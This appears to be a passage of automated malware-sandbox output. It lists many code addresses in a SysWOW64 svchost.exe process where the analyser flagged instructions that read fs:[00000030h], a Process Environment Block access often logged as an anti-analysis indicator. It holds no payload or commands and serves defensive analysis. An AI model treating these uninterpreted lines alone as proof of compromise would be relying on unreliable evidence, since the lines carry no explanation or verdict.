Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A197 mov eax, dword ptr fs:[00000030h]	2_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03770185 mov eax, dword ptr fs:[00000030h]	2_2_03770185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EC188 mov eax, dword ptr fs:[00000030h]	2_2_037EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EC188 mov eax, dword ptr fs:[00000030h]	2_2_037EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D4180 mov eax, dword ptr fs:[00000030h]	2_2_037D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D4180 mov eax, dword ptr fs:[00000030h]	2_2_037D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375C073 mov eax, dword ptr fs:[00000030h]	2_2_0375C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03732050 mov eax, dword ptr fs:[00000030h]	2_2_03732050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6050 mov eax, dword ptr fs:[00000030h]	2_2_037B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6030 mov eax, dword ptr fs:[00000030h]	2_2_037C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A020 mov eax, dword ptr fs:[00000030h]	2_2_0372A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C020 mov eax, dword ptr fs:[00000030h]	2_2_0372C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E016 mov eax, dword ptr fs:[00000030h]	2_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E016 mov eax, dword ptr fs:[00000030h]	2_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E016 mov eax, dword ptr fs:[00000030h]	2_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E016 mov eax, dword ptr fs:[00000030h]	2_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B4000 mov ecx, dword ptr fs:[00000030h]	2_2_037B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0372C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037720F0 mov ecx, dword ptr fs:[00000030h]	2_2_037720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0372A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037380E9 mov eax, dword ptr fs:[00000030h]	2_2_037380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B60E0 mov eax, dword ptr fs:[00000030h]	2_2_037B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B20DE mov eax, dword ptr fs:[00000030h]	2_2_037B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F60B8 mov eax, dword ptr fs:[00000030h]	2_2_037F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F60B8 mov ecx, dword ptr fs:[00000030h]	2_2_037F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037280A0 mov eax, dword ptr fs:[00000030h]	2_2_037280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C80A8 mov eax, dword ptr fs:[00000030h]	2_2_037C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373208A mov eax, dword ptr fs:[00000030h]	2_2_0373208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738770 mov eax, dword ptr fs:[00000030h]	2_2_03738770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730750 mov eax, dword ptr fs:[00000030h]	2_2_03730750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE75D mov eax, dword ptr fs:[00000030h]	2_2_037BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772750 mov eax, dword ptr fs:[00000030h]	2_2_03772750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772750 mov eax, dword ptr fs:[00000030h]	2_2_03772750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B4755 mov eax, dword ptr fs:[00000030h]	2_2_037B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376674D mov esi, dword ptr fs:[00000030h]	2_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376674D mov eax, dword ptr fs:[00000030h]	2_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376674D mov eax, dword ptr fs:[00000030h]	2_2_0376674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376273C mov eax, dword ptr fs:[00000030h]	2_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376273C mov ecx, dword ptr fs:[00000030h]	2_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376273C mov eax, dword ptr fs:[00000030h]	2_2_0376273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AC730 mov eax, dword ptr fs:[00000030h]	2_2_037AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C720 mov eax, dword ptr fs:[00000030h]	2_2_0376C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C720 mov eax, dword ptr fs:[00000030h]	2_2_0376C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730710 mov eax, dword ptr fs:[00000030h]	2_2_03730710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03760710 mov eax, dword ptr fs:[00000030h]	2_2_03760710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C700 mov eax, dword ptr fs:[00000030h]	2_2_0376C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037347FB mov eax, dword ptr fs:[00000030h]	2_2_037347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037347FB mov eax, dword ptr fs:[00000030h]	2_2_037347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037527ED mov eax, dword ptr fs:[00000030h]	2_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037527ED mov eax, dword ptr fs:[00000030h]	2_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037527ED mov eax, dword ptr fs:[00000030h]	2_2_037527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE7E1 mov eax, dword ptr fs:[00000030h]	2_2_037BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373C7C0 mov eax, dword ptr fs:[00000030h]	2_2_0373C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B07C3 mov eax, dword ptr fs:[00000030h]	2_2_037B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037307AF mov eax, dword ptr fs:[00000030h]	2_2_037307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E47A0 mov eax, dword ptr fs:[00000030h]	2_2_037E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D678E mov eax, dword ptr fs:[00000030h]	2_2_037D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03762674 mov eax, dword ptr fs:[00000030h]	2_2_03762674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F866E mov eax, dword ptr fs:[00000030h]	2_2_037F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F866E mov eax, dword ptr fs:[00000030h]	2_2_037F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A660 mov eax, dword ptr fs:[00000030h]	2_2_0376A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A660 mov eax, dword ptr fs:[00000030h]	2_2_0376A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374C640 mov eax, dword ptr fs:[00000030h]	2_2_0374C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E627 mov eax, dword ptr fs:[00000030h]	2_2_0374E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03766620 mov eax, dword ptr fs:[00000030h]	2_2_03766620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768620 mov eax, dword ptr fs:[00000030h]	2_2_03768620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373262C mov eax, dword ptr fs:[00000030h]	2_2_0373262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772619 mov eax, dword ptr fs:[00000030h]	2_2_03772619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE609 mov eax, dword ptr fs:[00000030h]	2_2_037AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374260B mov eax, dword ptr fs:[00000030h]	2_2_0374260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_037AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B06F1 mov eax, dword ptr fs:[00000030h]	2_2_037B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B06F1 mov eax, dword ptr fs:[00000030h]	2_2_037B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_0376A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A6C7 mov eax, dword ptr fs:[00000030h]	2_2_0376A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037666B0 mov eax, dword ptr fs:[00000030h]	2_2_037666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C6A6 mov eax, dword ptr fs:[00000030h]	2_2_0376C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734690 mov eax, dword ptr fs:[00000030h]	2_2_03734690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734690 mov eax, dword ptr fs:[00000030h]	2_2_03734690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376656A mov eax, dword ptr fs:[00000030h]	2_2_0376656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376656A mov eax, dword ptr fs:[00000030h]	2_2_0376656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376656A mov eax, dword ptr fs:[00000030h]	2_2_0376656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738550 mov eax, dword ptr fs:[00000030h]	2_2_03738550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738550 mov eax, dword ptr fs:[00000030h]	2_2_03738550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535 mov eax, dword ptr fs:[00000030h]	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E53E mov eax, dword ptr fs:[00000030h]	2_2_0375E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6500 mov eax, dword ptr fs:[00000030h]	2_2_037C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804500 mov eax, dword ptr fs:[00000030h]	2_2_03804500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0375E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037325E0 mov eax, dword ptr fs:[00000030h]	2_2_037325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C5ED mov eax, dword ptr fs:[00000030h]	2_2_0376C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376C5ED mov eax, dword ptr fs:[00000030h]	2_2_0376C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037365D0 mov eax, dword ptr fs:[00000030h]	2_2_037365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0376A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0376A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E5CF mov eax, dword ptr fs:[00000030h]	2_2_0376E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E5CF mov eax, dword ptr fs:[00000030h]	2_2_0376E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037545B1 mov eax, dword ptr fs:[00000030h]	2_2_037545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037545B1 mov eax, dword ptr fs:[00000030h]	2_2_037545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B05A7 mov eax, dword ptr fs:[00000030h]	2_2_037B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B05A7 mov eax, dword ptr fs:[00000030h]	2_2_037B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B05A7 mov eax, dword ptr fs:[00000030h]	2_2_037B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E59C mov eax, dword ptr fs:[00000030h]	2_2_0376E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03732582 mov eax, dword ptr fs:[00000030h]	2_2_03732582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03732582 mov ecx, dword ptr fs:[00000030h]	2_2_03732582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03764588 mov eax, dword ptr fs:[00000030h]	2_2_03764588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375A470 mov eax, dword ptr fs:[00000030h]	2_2_0375A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375A470 mov eax, dword ptr fs:[00000030h]	2_2_0375A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375A470 mov eax, dword ptr fs:[00000030h]	2_2_0375A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BC460 mov ecx, dword ptr fs:[00000030h]	2_2_037BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EA456 mov eax, dword ptr fs:[00000030h]	2_2_037EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372645D mov eax, dword ptr fs:[00000030h]	2_2_0372645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375245A mov eax, dword ptr fs:[00000030h]	2_2_0375245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E443 mov eax, dword ptr fs:[00000030h]	2_2_0376E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A430 mov eax, dword ptr fs:[00000030h]	2_2_0376A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E420 mov eax, dword ptr fs:[00000030h]	2_2_0372E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E420 mov eax, dword ptr fs:[00000030h]	2_2_0372E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E420 mov eax, dword ptr fs:[00000030h]	2_2_0372E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C427 mov eax, dword ptr fs:[00000030h]	2_2_0372C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6420 mov eax, dword ptr fs:[00000030h]	2_2_037B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768402 mov eax, dword ptr fs:[00000030h]	2_2_03768402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768402 mov eax, dword ptr fs:[00000030h]	2_2_03768402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03768402 mov eax, dword ptr fs:[00000030h]	2_2_03768402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037304E5 mov ecx, dword ptr fs:[00000030h]	2_2_037304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037644B0 mov ecx, dword ptr fs:[00000030h]	2_2_037644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BA4B0 mov eax, dword ptr fs:[00000030h]	2_2_037BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037364AB mov eax, dword ptr fs:[00000030h]	2_2_037364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EA49A mov eax, dword ptr fs:[00000030h]	2_2_037EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372CB7E mov eax, dword ptr fs:[00000030h]	2_2_0372CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728B50 mov eax, dword ptr fs:[00000030h]	2_2_03728B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DEB50 mov eax, dword ptr fs:[00000030h]	2_2_037DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E4B4B mov eax, dword ptr fs:[00000030h]	2_2_037E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E4B4B mov eax, dword ptr fs:[00000030h]	2_2_037E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6B40 mov eax, dword ptr fs:[00000030h]	2_2_037C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6B40 mov eax, dword ptr fs:[00000030h]	2_2_037C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FAB40 mov eax, dword ptr fs:[00000030h]	2_2_037FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D8B42 mov eax, dword ptr fs:[00000030h]	2_2_037D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375EB20 mov eax, dword ptr fs:[00000030h]	2_2_0375EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375EB20 mov eax, dword ptr fs:[00000030h]	2_2_0375EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F8B28 mov eax, dword ptr fs:[00000030h]	2_2_037F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F8B28 mov eax, dword ptr fs:[00000030h]	2_2_037F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AEB1D mov eax, dword ptr fs:[00000030h]	2_2_037AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03804B00 mov eax, dword ptr fs:[00000030h]	2_2_03804B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738BF0 mov eax, dword ptr fs:[00000030h]	2_2_03738BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738BF0 mov eax, dword ptr fs:[00000030h]	2_2_03738BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738BF0 mov eax, dword ptr fs:[00000030h]	2_2_03738BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375EBFC mov eax, dword ptr fs:[00000030h]	2_2_0375EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BCBF0 mov eax, dword ptr fs:[00000030h]	2_2_037BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DEBD0 mov eax, dword ptr fs:[00000030h]	2_2_037DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03750BCB mov eax, dword ptr fs:[00000030h]	2_2_03750BCB
